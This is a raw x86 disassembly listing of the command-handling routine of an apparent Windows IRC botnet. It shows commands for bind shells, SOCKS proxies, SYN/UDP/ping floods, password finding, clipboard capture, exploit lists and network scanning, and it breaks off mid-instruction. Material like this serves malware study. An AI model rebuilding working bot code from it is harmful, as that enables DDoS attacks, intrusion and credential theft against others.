sub_41CAD4 mov [edi], eax pop ecx add edi, 4 dec [ebp+arg_10] pop ecx jnz short loc_40292F mov ecx, [ebp+esi+var_90] lea eax, [ebp+esi+var_90] cmp ecx, ebx jz loc_401F75 add ecx, 3 mov [eax], ecx loc_402961: ; CODE XREF: sub_401ACD+C9Dj mov edi, [ebp+esi+var_90] push edi push offset aRndnick ; "rndnick" mov [ebp+arg_8], edi call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_4095F2 push edi push offset aRn ; "rn" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_4095F2 push edi push offset aDi3 ; "di3" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_4049B3 push edi push offset aDi3 ; "di3" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_4049B3 push edi push offset aLogout ; "logout" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_404911 push edi push offset aLo ; "lo" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_404911 push edi push offset aVersion ; "version" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_404902 push edi push offset aVer ; "ver" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_404902 push edi push offset aRulez ; "rulez" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_4048F8 push edi push offset aRz ; "rz" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_4048F8 push edi push offset aSpeedtest ; "speedtest" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_4048DF push edi push offset aSt ; "st" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_4048DF push edi push offset aSecure ; "secure" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_4047E1 push edi push offset aSec ; "sec" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_4047E1 push edi push offset aUnsecure ; "unsecure" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_4047E1 push edi push offset aUnsec ; "unsec" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_4047E1 push edi push offset aBindshell ; "bindshell" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_4046DB push edi push offset aBd ; "bd" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_4046DB push edi push offset aBindshellstop ; "bindshellstop" call sub_41CA50 pop ecx test eax, eax pop ecx jnz short loc_402B0E push [ebp+esi+var_8C] push 6 push offset aServer_0 ; "Server" push offset dword_42CA08 jmp loc_408D08 ; --------------------------------------------------------------------------- loc_402B0E: ; CODE XREF: sub_401ACD+1027j push edi push offset aSocks4 ; "socks4" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_4045B9 push edi push offset aS4 ; "s4" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_4045B9 push edi push offset aSocks4stop ; "socks4stop" call sub_41CA50 pop ecx test eax, eax pop ecx jnz short loc_402B61 push [ebp+esi+var_8C] push 19h push offset aServer_0 ; "Server" push offset dword_42C9E0 jmp loc_408D08 ; --------------------------------------------------------------------------- loc_402B61: ; CODE XREF: sub_401ACD+107Aj push edi push offset aRloginstop ; "rloginstop" call sub_41CA50 pop ecx test eax, eax pop ecx jnz short loc_402B8A push [ebp+esi+var_8C] push 9 push offset aServer_0 ; "Server" push offset dword_42C9C4 jmp loc_408D08 ; --------------------------------------------------------------------------- loc_402B8A: ; CODE XREF: sub_401ACD+10A3j push edi push offset aHttpstop ; "httpstop" call sub_41CA50 pop ecx test eax, eax pop ecx jnz short loc_402BB3 push [ebp+esi+var_8C] push 3 push offset aServer_0 ; "Server" push offset dword_42C9A8 jmp loc_408D08 ; --------------------------------------------------------------------------- loc_402BB3: ; CODE XREF: sub_401ACD+10CCj push edi push offset aLogstop ; "logstop" call sub_41CA50 pop ecx test eax, eax pop ecx jnz short loc_402BDC push [ebp+esi+var_8C] push 25h push offset dword_42C994 push offset dword_42C988 jmp loc_408D08 ; --------------------------------------------------------------------------- loc_402BDC: ; CODE XREF: sub_401ACD+10F5j push edi push offset aRedirectstop ; "redirectstop" call sub_41CA50 pop ecx test eax, eax pop ecx jnz short loc_402C05 push [ebp+esi+var_8C] push 18h push offset dword_42C968 push offset dword_42C958 jmp loc_408D08 ; --------------------------------------------------------------------------- loc_402C05: ; CODE XREF: sub_401ACD+111Ej push edi push offset dword_42C94C call sub_41CA50 pop ecx test eax, eax pop ecx jnz short loc_402C2E push [ebp+esi+var_8C] push 0Dh push offset dword_42C940 push offset dword_42C934 jmp loc_408D08 ; --------------------------------------------------------------------------- loc_402C2E: ; CODE XREF: sub_401ACD+1147j push edi push offset aSynstop ; "synstop" call sub_41CA50 pop ecx test eax, eax pop ecx jnz short loc_402C57 push [ebp+esi+var_8C] push 0Eh push offset dword_42C920 push offset dword_42C914 jmp loc_408D08 ; --------------------------------------------------------------------------- loc_402C57: ; CODE XREF: sub_401ACD+1170j push edi push offset aSkysynstop ; "skysynstop" call sub_41CA50 pop ecx test eax, eax pop ecx jnz short loc_402C80 push [ebp+esi+var_8C] push 10h push offset dword_42C8F8 push offset dword_42C8E8 jmp loc_408D08 ; --------------------------------------------------------------------------- loc_402C80: ; CODE XREF: sub_401ACD+1199j push edi push offset aTarga3stop ; "targa3stop" call sub_41CA50 pop ecx test eax, eax pop ecx jnz short loc_402CA9 push [ebp+esi+var_8C] push 11h push offset dword_42C8CC push offset dword_42C8BC jmp loc_408D08 ; --------------------------------------------------------------------------- loc_402CA9: ; CODE XREF: sub_401ACD+11C2j push edi push offset aWonkstop ; "wonkstop" call sub_41CA50 pop ecx test eax, eax pop ecx jnz short loc_402CD2 push [ebp+esi+var_8C] push 12h push offset dword_42C8A4 push offset dword_42C898 jmp loc_408D08 ; --------------------------------------------------------------------------- loc_402CD2: ; CODE XREF: sub_401ACD+11EBj push edi push offset aPacketstop ; "packetstop" call sub_41CA50 pop ecx test eax, eax pop ecx jnz loc_402E28 mov esi, [ebp+esi+var_8C] mov edi, [ebp+arg_4] push esi push 0Dh push offset dword_42C940 push offset dword_42C934 push 1 push [ebp+var_4] push [ebp+var_88] push edi call sub_40B648 push esi push 0Eh push offset dword_42C920 push offset dword_42C914 push 1 push [ebp+var_4] push [ebp+var_88] push edi call sub_40B648 add esp, 40h push esi push 17h push offset dword_42C880 push offset dword_42C874 push 1 push [ebp+var_4] push [ebp+var_88] push edi call sub_40B648 push esi push 16h push offset dword_42C868 push offset dword_42C85C push 1 push [ebp+var_4] push [ebp+var_88] push edi call sub_40B648 add esp, 40h push esi push 11h push offset dword_42C8CC push offset dword_42C8BC push 1 push [ebp+var_4] push [ebp+var_88] push edi call sub_40B648 push esi push 12h push offset dword_42C8A4 push offset dword_42C898 push 1 push [ebp+var_4] push [ebp+var_88] push edi call sub_40B648 add esp, 40h push esi push 0Fh push offset dword_42C84C push offset dword_42C83C push 1 push [ebp+var_4] push [ebp+var_88] push edi call sub_40B648 push esi push 13h push offset dword_42C82C push offset dword_42C81C push 1 push [ebp+var_4] push [ebp+var_88] push edi call sub_40B648 add esp, 40h push esi push 10h push offset dword_42C8F8 push offset dword_42C8E8 push 1 push [ebp+var_4] push [ebp+var_88] push edi call sub_40B648 push ebx push [ebp+var_4] push offset unk_42C7E8 push [ebp+var_88] push edi call sub_409869 add esp, 34h jmp loc_401F75 ; --------------------------------------------------------------------------- loc_402E28: ; CODE XREF: sub_401ACD+1214j push edi push offset aTsunamistop ; "tsunamistop" call sub_41CA50 pop ecx test eax, eax pop ecx jnz short loc_402E51 push [ebp+esi+var_8C] push 0Fh push offset dword_42C84C push offset dword_42C83C jmp loc_408D08 ; --------------------------------------------------------------------------- loc_402E51: ; CODE XREF: sub_401ACD+136Aj push edi push offset aWisdomstop ; "wisdomstop" call sub_41CA50 pop ecx test eax, eax pop ecx jnz short loc_402E7A push [ebp+esi+var_8C] push 13h push offset dword_42C82C push offset dword_42C81C jmp loc_408D08 ; --------------------------------------------------------------------------- loc_402E7A: ; CODE XREF: sub_401ACD+1393j push edi push offset aUdpstop ; "udpstop" call sub_41CA50 pop ecx test eax, eax pop ecx jnz short loc_402EA3 push [ebp+esi+var_8C] push 17h push offset dword_42C880 push offset dword_42C874 jmp loc_408D08 ; --------------------------------------------------------------------------- loc_402EA3: ; CODE XREF: sub_401ACD+13BCj push edi push offset aPingstop ; "pingstop" call sub_41CA50 pop ecx test eax, eax pop ecx jnz short loc_402ECC push [ebp+esi+var_8C] push 16h push offset dword_42C868 push offset dword_42C85C jmp loc_408D08 ; --------------------------------------------------------------------------- loc_402ECC: ; CODE XREF: sub_401ACD+13E5j push edi push offset aTftpstop ; "tftpstop" call sub_41CA50 pop ecx test eax, eax pop ecx jnz short loc_402EF5 push [ebp+esi+var_8C] push 5 push offset aServer_0 ; "Server" push offset dword_42C7A0 jmp loc_408D08 ; --------------------------------------------------------------------------- loc_402EF5: ; CODE XREF: sub_401ACD+140Ej push edi push offset aFindfilestop ; "findfilestop" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_4045A1 push edi push offset aFfstop ; "ffstop" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_4045A1 push edi push offset aProcsstop ; "procsstop" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_404589 push edi push offset aPsstop ; "psstop" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_404589 push edi push offset aClonestop ; "clonestop" call sub_41CA50 pop ecx test eax, eax pop ecx jnz short loc_402F72 push [ebp+esi+var_8C] push 1Fh push offset aClone ; "Clone" push offset dword_42C750 jmp loc_408D08 ; --------------------------------------------------------------------------- loc_402F72: ; CODE XREF: sub_401ACD+148Bj push edi push offset aSecurestop ; "securestop" call sub_41CA50 pop ecx test eax, eax pop ecx jnz short loc_402F9B push [ebp+esi+var_8C] push 22h push offset aSecure_0 ; "Secure" push offset dword_42C72C jmp loc_408D08 ; --------------------------------------------------------------------------- loc_402F9B: ; CODE XREF: sub_401ACD+14B4j push edi push offset aScanstop ; "scanstop" call sub_41CA50 pop ecx test eax, eax pop ecx jnz short loc_402FC4 push [ebp+esi+var_8C] push 0Bh push offset aScan_0 ; "Scan" push offset dword_42C70C jmp loc_408D08 ; --------------------------------------------------------------------------- loc_402FC4: ; CODE XREF: sub_401ACD+14DDj push edi push offset aScanstats ; "scanstats" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_404573 push edi push offset aStats ; "stats" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_404573 push edi push offset aTransferstats ; "transferstats" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_40455D push edi push offset aTrstats ; "trstats" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_40455D push edi push offset aConnectbacksta ; "connectbackstats" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_404547 push edi push offset aCbstats ; "cbstats" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_404547 push edi push offset aExploitlist ; "exploitlist" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_404531 push edi push offset aExplist ; "explist" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_404531 push edi push offset aReconnect ; "reconnect" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_404512 push edi push offset aR ; "r" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_404512 push edi push offset aDisconnect ; "disconnect" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_4044F0 push edi push offset aDc ; "dc" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_4044F0 push edi push offset aQuit_0 ; "quit" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_4044A8 push edi push offset aQ ; "q" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_4044A8 push edi push offset aStatus ; "status" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_404494 push edi push offset aS_0 ; "s" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_404494 push edi push offset aId ; "id" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_40445D push edi push offset aI ; "i" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_40445D push edi push offset aR3start ; "r3start" call sub_41CA50 pop ecx test eax, eax pop ecx jnz short loc_403190 call sub_418884 test eax, eax mov eax, offset unk_42C64C jnz short loc_403162 mov eax, offset unk_42C628 loc_403162: ; CODE XREF: sub_401ACD+168Ej push eax lea eax, [ebp+var_2C4] push eax call sub_41C266 push ebx lea eax, [ebp+var_2C4] push [ebp+var_4] push eax push [ebp+var_88] push [ebp+arg_4] call sub_409869 add esp, 1Ch jmp loc_4082DE ; --------------------------------------------------------------------------- loc_403190: ; CODE XREF: sub_401ACD+1680j push edi push offset aThreads ; "threads" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_40437E push edi push offset aT ; "t" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_40437E push edi push offset aAliases ; "aliases" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_40435B push edi push offset aAl ; "al" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_40435B push edi push offset aLog ; "log" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_404268 push edi push offset aLg ; "lg" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_404268 push edi push offset aClearlog ; "clearlog" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_40424C push edi push offset aClg ; "clg" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_40424C push edi push offset aNetinfo ; "netinfo" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_404212 push edi push offset aNi ; "ni" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_404212 push edi push offset aSysinfo ; "sysinfo" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_4041E7 push edi push offset aSi ; "si" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_4041E7 push edi push offset aKosomaky4d ; "KOSOMAKY4D" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_4041AD push edi push offset aKosomaky4d ; "KOSOMAKY4D" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_4041AD push edi push offset aProcs ; "procs" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_40408D push edi push offset aPs ; "ps" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_40408D push edi push offset aUptime ; "uptime" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_404005 push edi push offset aUp ; "up" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_404005 push edi push offset aDriveinfo ; "driveinfo" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_403FE8 push edi push offset aDrv ; "drv" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_403FE8 push edi push offset aTestdlls ; "testdlls" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_403FCF push edi push offset aDll ; "dll" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_403FCF push edi push offset aOpencmd ; "opencmd" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_403F5B push edi push offset aOcmd ; "ocmd" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_403F5B push edi push offset aCmdstop ; "cmdstop" call sub_41CA50 pop ecx test eax, eax pop ecx jnz short loc_4033B1 push [ebp+esi+var_8C] push 0Ah push offset dword_42C574 push offset dword_42C568 jmp loc_408D08 ; --------------------------------------------------------------------------- loc_4033B1: ; CODE XREF: sub_401ACD+18CAj push edi push offset dword_42C564 call sub_41CA50 pop ecx test eax, eax pop ecx jnz loc_4034C7 cmp [ebp+var_8], ebx jnz short loc_4033E5 push ebx push [ebp+var_4] push offset dword_42C550 push [ebp+var_88] push [ebp+arg_4] call sub_409869 add esp, 14h loc_4033E5: ; CODE XREF: sub_401ACD+18FCj mov eax, [ebp+arg_18] xor edi, edi mov [ebp+arg_18], eax jmp short loc_4033F2 ; --------------------------------------------------------------------------- loc_4033EF: ; CODE XREF: sub_401ACD+196Cj mov eax, [ebp+arg_18] loc_4033F2: ; CODE XREF: sub_401ACD+1920j cmp [eax], bl jz short loc_4033F9 inc eax jmp short loc_4033FE ; --------------------------------------------------------------------------- loc_4033F9: ; CODE XREF: sub_401ACD+1927j mov eax, offset aEmpty ; "<Empty>" loc_4033FE: ; CODE XREF: sub_401ACD+192Aj push eax push edi lea eax, [ebp+var_2C4] push offset aD_S ; "%d. %s" push eax call sub_41C266 push 1 lea eax, [ebp+var_2C4] push [ebp+var_4] push eax push [ebp+var_88] push [ebp+arg_4] call sub_409869 add [ebp+arg_18], 80h add esp, 24h inc edi cmp edi, 3 jl short loc_4033EF push offset unk_42C520 call sub_415D38 pop ecx loc_403446: ; CODE XREF: sub_401ACD+1BFDj ; sub_401ACD+2EFAj mov edi, [ebp+esi+var_8C] cmp edi, ebx mov [ebp+arg_20], edi jz loc_401F75 push [ebp+arg_8] push offset aSpoof ; "spoof" call sub_41CA50 pop ecx test eax, eax pop ecx jnz loc_404AAB push offset aOff ; "off" push edi call sub_41CA50 pop ecx test eax, eax pop ecx jnz loc_4049D9 lea eax, [ebp+var_2C4] push offset unk_42C4EC push eax mov dword_4CF180, ebx call sub_41C266 pop ecx pop ecx loc_40349D: ; CODE XREF: sub_401ACD+2FD9j cmp [ebp+var_8], ebx jnz loc_409644 push ebx lea eax, [ebp+var_2C4] push [ebp+var_4] push eax push [ebp+var_88] push [ebp+arg_4] call sub_409869 loc_4034BF: ; CODE XREF: sub_401ACD+7032j add esp, 14h jmp loc_409644 ; --------------------------------------------------------------------------- loc_4034C7: ; CODE XREF: sub_401ACD+18F3j push edi push offset aGetclip ; "getclip" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_403F1A push edi push offset aGc ; "gc" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_403F1A push edi push offset aFlusharp ; "flusharp" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_403F03 push edi push offset aFarp ; "farp" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_403F03 push edi push offset aFlushdns ; "flushdns" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_403ECB push edi push offset aFdns ; "fdns" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_403ECB push edi push offset aCurrentip ; "currentip" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_403E91 push edi push offset aCip ; "cip" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_403E91 push edi push offset aRloginserver ; "rloginserver" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_403D56 push edi push offset aRlogin ; "rlogin" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_403D56 push edi push offset aHttpserver ; "httpserver" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_403BCA push edi push offset aHttp ; "http" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_403BCA push edi push offset aTftpserver ; "tftpserver" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_403A90 push edi push offset aTftp ; "tftp" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_403A90 push edi push offset aShitycrash ; "shitycrash" call sub_41CA50 pop ecx test eax, eax pop ecx jnz short loc_403653 lea eax, [ebp+var_2C4] push offset unk_42C444 push eax call sub_41C266 cmp [ebp+var_8], ebx pop ecx pop ecx jnz short loc_403632 push ebx lea eax, [ebp+var_2C4] push [ebp+var_4] push eax push [ebp+var_88] push [ebp+arg_4] call sub_409869 add esp, 14h loc_403632: ; CODE XREF: sub_401ACD+1B47j lea eax, [ebp+var_2C4] push eax call sub_415D38 mov [esp+10h+var_10], offset aShitycrash ; "shitycrash" push [ebp+esi+var_7C] call sub_41CA50 jmp loc_4097D0 ; --------------------------------------------------------------------------- loc_403653: ; CODE XREF: sub_401ACD+1B2Fj push edi push offset aAsc ; "asc" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_403789 push edi push offset aAs ; "as" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_403789 push edi push offset aPhonehome ; "phonehome" call sub_41CA50 pop ecx test eax, eax pop ecx jnz short loc_4036AA lea eax, [ebp+var_C4] push eax push offset aNoticeSPhoning ; "NOTICE %s :PHONING HOME: DADI Are You T"... push [ebp+arg_4] call sub_409823 loc_4036A2: ; CODE XREF: sub_401ACD+47Bj add esp, 0Ch jmp loc_401F75 ; --------------------------------------------------------------------------- loc_4036AA: ; CODE XREF: sub_401ACD+1BBFj push edi push offset aFindpass ; "findpass" call sub_41CA50 pop ecx test eax, eax pop ecx jz short loc_4036D0 push edi push offset aFp ; "fp" call sub_41CA50 pop ecx test eax, eax pop ecx jnz loc_403446 loc_4036D0: ; CODE XREF: sub_401ACD+1BECj push [ebp+var_88] lea eax, [ebp+var_FEC] push 80h push eax call sub_41C360 mov eax, [ebp+arg_4] add esp, 0Ch mov [ebp+var_FF0], eax mov eax, [ebp+var_4] mov [ebp+var_F68], eax mov eax, [ebp+var_8] mov [ebp+var_F64], eax push offset unk_42C3C4 lea eax, [ebp+var_2C4] push 200h push eax call sub_41C360 push ebx lea eax, [ebp+var_2C4] push 26h push eax call sub_40B3BA add esp, 18h mov [ebp+var_F6C], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_FF0] push ebx push eax push offset sub_4172C1 push ebx push ebx nop call near ptr 2690000h mov ecx, [ebp+var_F6C] imul ecx, 234h cmp eax, ebx mov dword_43E924[ecx], eax jz short loc_403778 loc_403762: ; CODE XREF: sub_401ACD+1CA9j cmp [ebp+var_F60], ebx jnz loc_4082DE push 32h nop call near ptr 2680EF8h jmp short loc_403762 ; --------------------------------------------------------------------------- loc_403778: ; CODE XREF: sub_401ACD+1C93j nop call near ptr 269086Bh push eax push offset unk_42C388 jmp loc_4082CF ; --------------------------------------------------------------------------- loc_403789: ; CODE XREF: sub_401ACD+1B95j ; sub_401ACD+1BAAj mov al, byte_4319DA mov [ebp+arg_0], ebx cmp al, bl mov edx, offset byte_4319DA jz loc_401F75 mov ecx, edx loc_4037A0: ; CODE XREF: sub_401ACD+1CDBj inc [ebp+arg_0] add ecx, 0Bh cmp [ecx], bl jnz short loc_4037A0 cmp al, bl jz loc_401F75 mov [ebp+arg_18], edx loc_4037B5: ; CODE XREF: sub_401ACD+1FAEj push 0Bh call sub_40B602 pop ecx mov ecx, eax mov eax, 190h cdq idiv [ebp+arg_0] mov edx, eax mov eax, 320h add edx, ecx cmp edx, eax jle short loc_403808 push ecx lea eax, [ebp+var_2C4] push offset dword_42C34C push eax call sub_41C266 push ebx lea eax, [ebp+var_2C4] push [ebp+var_4] push eax push [ebp+var_88] push [ebp+arg_4] call sub_409869 add esp, 20h jmp loc_403A72 ; --------------------------------------------------------------------------- loc_403808: ; CODE XREF: sub_401ACD+1D06j or [ebp+var_730], 0FFFFFFFFh cmp dword_4317F8, ebx mov [ebp+var_734], 64h mov [ebp+var_748], 5 mov [ebp+var_744], eax mov [ebp+arg_0], ebx jz short loc_403875 mov eax, [ebp+arg_18] mov esi, offset dword_4317F8 lea edi, [eax-0Ah] loc_40383F: ; CODE XREF: sub_401ACD+1D8Aj lea eax, [esi-28h] push edi push eax call sub_41CA50 pop ecx test eax, eax pop ecx jz short loc_40385B inc [ebp+arg_0] add esi, 40h cmp [esi], ebx jnz short loc_40383F jmp short loc_403875 ; --------------------------------------------------------------------------- loc_40385B: ; CODE XREF: sub_401ACD+1D80j mov eax, [ebp+arg_0] mov ecx, eax mov [ebp+var_730], eax shl ecx, 6 mov ecx, dword_4317F8[ecx] mov [ebp+var_74C], ecx loc_403875: ; CODE XREF: sub_401ACD+1D65j ; sub_401ACD+1D8Cj cmp [ebp+var_74C], ebx jz loc_403A86 push 10h lea eax, [ebp+var_2D4] pop esi push eax lea eax, [ebp+var_30C] push eax mov [ebp+var_2D4], esi push [ebp+arg_4] call dword_4CB978 mov al, [ebp+var_8FF] push esi neg al sbb eax, eax and ax, 100h add eax, 0FFFFh and [ebp+var_308], eax push [ebp+var_308] call dword_4CBA60 push eax lea eax, [ebp+var_860] push eax call sub_41BFD0 xor eax, eax cmp [ebp+var_8FF], bl push 30h setnz al inc eax inc eax mov esi, eax lea eax, [ebp+var_860] push eax call sub_41C820 add esp, 14h cmp esi, ebx mov byte ptr [ebp+arg_24+3], bl jle short loc_40391D loc_4038FB: ; CODE XREF: sub_401ACD+1E4Ej cmp eax, ebx jz short loc_40391D mov byte ptr [eax], 78h lea eax, [ebp+var_860] push 30h push eax call sub_41C820 inc byte ptr [ebp+arg_24+3] pop ecx pop ecx movsx ecx, byte ptr [ebp+arg_24+3] cmp ecx, esi jl short loc_4038FB loc_40391D: ; CODE XREF: sub_401ACD+1E2Cj ; sub_401ACD+1E30j mov eax, [ebp+arg_4] push [ebp+var_88] mov esi, [ebp+var_4] mov edi, [ebp+var_8] mov [ebp+var_750], eax lea eax, [ebp+var_850] push 80h push eax mov [ebp+var_720], 1 mov [ebp+var_728], esi mov [ebp+var_724], edi call sub_41C360 push offset byte_43DB88 push offset aF ; "#f" call sub_41CA50 add esp, 14h test eax, eax jz short loc_40398A push offset aF ; "#f" lea eax, [ebp+var_7D0] push 80h push eax call sub_41C360 add esp, 0Ch jmp short loc_403990 ; --------------------------------------------------------------------------- loc_40398A: ; CODE XREF: sub_401ACD+1EA0j mov [ebp+var_7D0], bl loc_403990: ; CODE XREF: sub_401ACD+1EBBj cmp [ebp+var_720], ebx mov eax, offset aRandom ; "Random" jnz short loc_4039A2 mov eax, offset aSequential ; "Sequential" loc_4039A2: ; CODE XREF: sub_401ACD+1ECEj push [ebp+var_734] lea ecx, [ebp+var_860] push [ebp+var_744] push [ebp+var_748] push [ebp+var_74C] push ecx push eax lea eax, [ebp+var_2C4] push offset unk_42C2CC push eax call sub_41C266 push ebx lea eax, [ebp+var_2C4] push 0Bh push eax call sub_40B3BA add esp, 2Ch mov [ebp+var_740], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_860] push ebx push eax push offset loc_40C600 push ebx push ebx nop call near ptr 2690000h mov ecx, [ebp+var_740] imul ecx, 234h cmp eax, ebx mov dword_43E924[ecx], eax jz short loc_403A2C loc_403A1A: ; CODE XREF: sub_401ACD+1F5Dj cmp [ebp+var_71C], ebx jnz short loc_403A47 push 32h nop call near ptr 2680EF8h jmp short loc_403A1A ; --------------------------------------------------------------------------- loc_403A2C: ; CODE XREF: sub_401ACD+1F4Bj nop call near ptr 269086Bh push eax lea eax, [ebp+var_2C4] push offset unk_42C290 push eax call sub_41C266 add esp, 0Ch loc_403A47: ; CODE XREF: sub_401ACD+1F53j cmp edi, ebx jnz short loc_403A65 push ebx lea eax, [ebp+var_2C4] push esi push eax push [ebp+var_88] push [ebp+arg_4] call sub_409869 add esp, 14h loc_403A65: ; CODE XREF: sub_401ACD+1F7Cj lea eax, [ebp+var_2C4] push eax call sub_415D38 pop ecx loc_403A72: ; CODE XREF: sub_401ACD+1D36j add [ebp+arg_18], 0Bh mov eax, [ebp+arg_18] cmp [eax], bl jnz loc_4037B5 jmp loc_401F75 ; --------------------------------------------------------------------------- loc_403A86: ; CODE XREF: sub_401ACD+1DAEj push offset unk_42C258 jmp loc_406E22 ; --------------------------------------------------------------------------- loc_403A90: ; CODE XREF: sub_401ACD+1B05j ; sub_401ACD+1B1Aj push 5 call sub_40B602 test eax, eax pop ecx jle short loc_403AA6 push offset unk_42C238 jmp loc_406E22 ; --------------------------------------------------------------------------- loc_403AA6: ; CODE XREF: sub_401ACD+1FCDj mov eax, [ebp+esi+var_8C] cmp eax, ebx jz short loc_403AC9 push eax mov edi, 104h lea eax, [ebp+var_2D54] push edi push eax call sub_41C360 add esp, 0Ch jmp short loc_403ADD ; --------------------------------------------------------------------------- loc_403AC9: ; CODE XREF: sub_401ACD+1FE2j mov edi, 104h lea eax, [ebp+var_2D54] push edi push eax push ebx nop call near ptr 2680000h loc_403ADD: ; CODE XREF: sub_401ACD+1FFAj mov esi, [ebp+esi+var_88] cmp esi, ebx jnz short loc_403AED mov esi, offset byte_429108 loc_403AED: ; CODE XREF: sub_401ACD+2019j push esi lea eax, [ebp+var_2C50] push edi push eax call sub_41C360 mov eax, dword_429078 push 7Fh push [ebp+var_88] mov [ebp+var_2B44], eax mov eax, [ebp+arg_4] mov [ebp+var_2B48], ebx mov [ebp+var_2D58], eax lea eax, [ebp+var_2B40] push eax call sub_41BFD0 mov eax, [ebp+var_4] add esp, 18h mov [ebp+var_2AC0], eax mov eax, [ebp+var_8] mov [ebp+var_2ABC], eax lea eax, [ebp+var_2D54] push eax lea eax, [ebp+var_2C4] push [ebp+var_2B44] push offset unk_42C204 push eax call sub_41C266 push ebx lea eax, [ebp+var_2C4] push 5 push eax call sub_40B3BA add esp, 1Ch mov [ebp+var_2B4C], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_2D58] push ebx push eax push offset byte_412197 push ebx push ebx nop call near ptr 2690000h mov ecx, [ebp+var_2B4C] imul ecx, 234h cmp eax, ebx mov dword_43E924[ecx], eax jz short loc_403BB9 loc_403BA3: ; CODE XREF: sub_401ACD+20EAj cmp [ebp+var_2AB8], ebx jnz loc_4081AD push 32h nop call near ptr 2680EF8h jmp short loc_403BA3 ; --------------------------------------------------------------------------- loc_403BB9: ; CODE XREF: sub_401ACD+20D4j nop call near ptr 269086Bh push eax push offset unk_42C1C8 jmp loc_408E86 ; --------------------------------------------------------------------------- loc_403BCA: ; CODE XREF: sub_401ACD+1ADBj ; sub_401ACD+1AF0j mov edi, [ebp+esi+var_8C] cmp edi, ebx jz short loc_403BE9 push edi call sub_41C159 test eax, eax pop ecx jz short loc_403BE9 push edi call sub_41C159 pop ecx jmp short loc_403BEE ; --------------------------------------------------------------------------- loc_403BE9: ; CODE XREF: sub_401ACD+2106j ; sub_401ACD+2111j mov eax, dword_42907C loc_403BEE: ; CODE XREF: sub_401ACD+211Aj mov esi, [ebp+esi+var_88] mov [ebp+var_36CC], eax xor eax, eax cmp [ebp+var_8FC], bl setz al cmp esi, ebx mov 